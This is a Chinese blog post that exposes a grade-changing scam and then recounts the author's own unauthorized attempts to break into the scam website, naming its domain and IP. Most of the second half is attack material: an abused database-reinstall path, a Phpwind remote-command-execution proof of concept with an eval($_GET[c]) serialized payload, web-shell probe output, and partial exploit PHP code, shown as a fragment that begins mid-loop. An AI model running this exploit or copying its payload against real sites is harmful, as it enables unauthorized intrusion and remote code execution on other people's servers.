事件的起因是这样的,一个兄die平时成绩挺好的,但是有一次考试挂科了,就差3分,在寻找技术员帮他改数据库中的成绩。他在网上找了一些改分数的案例,希望我帮他分析以下,这个案例是否是真实的。
首先给结论:这是骗子伪造的案例,故意骗计算机小白。其中,骗子会先收定金1000块钱,然后吃喝玩乐2天,找一个借口,告诉你遇到一个学校防火墙,继续搞需要加钱,然后再继续搞可能被教务处知道,等等加钱借口,直到你放弃修改分数。
下面是骗子网站的分析过程:
- 域名信息:aoecs.com.cn
- 域名注册:至今11个月,没有备案
- 操作系统:Windows
- web容器:IIS/7.5
- 数据库:MySQL(5.5.46)
- 语言:PHP
- 定位IP地址:154.223.159.40
- 网站首页如下:
大神轻松的找到了重置网站的后台路径,就像手机恢复出厂设置一样,由于不知道他数据库密码,也不知道数据库信息,所以这个地方不知道咋折腾。后来又一个大神指点了一下,可以用远程数据库,于是填上了我VPS的数据库地址,简单配置如下:
稍等片刻,还真的在我的VPS数据库中成功初始化了一份,然后让我填写网站版本如下,但是后续一直服务器500错误,导致这条路没有走通。
代理了一下网站,发现请求过程如下:
从网上找开源漏洞[1],运气比较好,还真找到了一个,简单的修改了一下代码,调通了。
期待结果ing...
一盏茶的功夫如下:
- 第一个漏洞没有成功,结果为空
- 第二个漏洞也没有成功,很遗憾~
Info: Poc for Phpwind远程命令执行
Test: exploit.php user password http:/phpwind/
##############start##################
; security_session_verify=3edf90abe5a553894856d4b4ea6f0031; dfaa6_lastvisit=0%091581148656%09%2Flogin.php%3F; dfaa6_lastpos=other; dfaa6_lastvisit=0%091581148656%09%2Flogin.php%3F; dfaa6_ck_info=%2F%09; dfaa6_winduser=VAAFAFAGMFRWAwkGDgFUVAZaBlNQAAQHXwoMCQpUCgcGBVZSUVIEPw%3D%3D; dfaa6_lastvisit=deleted
###############login#################
Craked Magicdata:
Get shell :
PHP Warning: file_get_contents(wap.aoecs.com.cn/pw_api.php?method=threadscateGory&mode=Other¶ms=a:1:{s:3:"cid";a:1:{s:3:"cid";a:1:{s:3:"cid";s:21:"'.eval($_GET[c]).'abc";}}}&type=app&sig=6fc6f1caa872064fff8a65c17ab52efa): failed to open stream: No such file or directory in /home/hacker/phpwind/1.php on line 66
OK
PHP Warning: file_get_contents(wap.aoecs.com.cn/data/bbscache/info_class.php?c=echo%20Just_wooyun;): failed to open stream: No such file or directory in /home/hacker/phpwind/1.php on line 68
关于看到的这2个Warning,我访问来一下都是404,页面不存在,发矇了,还有什么手法呢?
推荐收听网络安全DNS钓鱼执法:
远程登录数据库连接方法如下:
验证漏洞POC代码:
$value) {
if ($value && $key != 'sig') {
$arg .= "$key=$value&";
}
}
$arg.='sig='.md5($arg.$craked);
echo file_get_contents("$pwurl/pw_api.php?".$arg);
echo "OKrn";
$str=file_get_contents("$pwurl/data/bbscache/info_class.php?c=echo%20Just_wooyun;");
if(strpos($str,'wooyun')){
echo "Got shell :"."$pwurl/data/bbscache/info_class.php?c=phpinfo();";
echo "rnOver!";
}
function strips($param) {
if (is_array($param)) {
foreach ($param as $key => $value) {
$param[$key] = strips($value);
}
} else {
$param = stripslashes($param);
}
return $param;
}
function curlsend($url,$method=false,$ssl=0,$myheader,$data='',$header=0){
global $cookie;
$ch = curl_init();
$timeout = 0; // set to zero for no timeout
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_POST, $method);
curl_setopt($ch,CURLOPT_HTTPHEADER,$myheader);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt ($ch, CURLOPT_cookie, $cookie);
if($data){
curl_setopt ($ch, CURLOPT_POSTFIELDS,$data);
}
curl_setopt ($ch, CURLOPT_HEADER, $header);
if($ssl){
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
}
$handles = curl_exec($ch);
curl_close($ch);
//echo $handles;
return $handles;
}



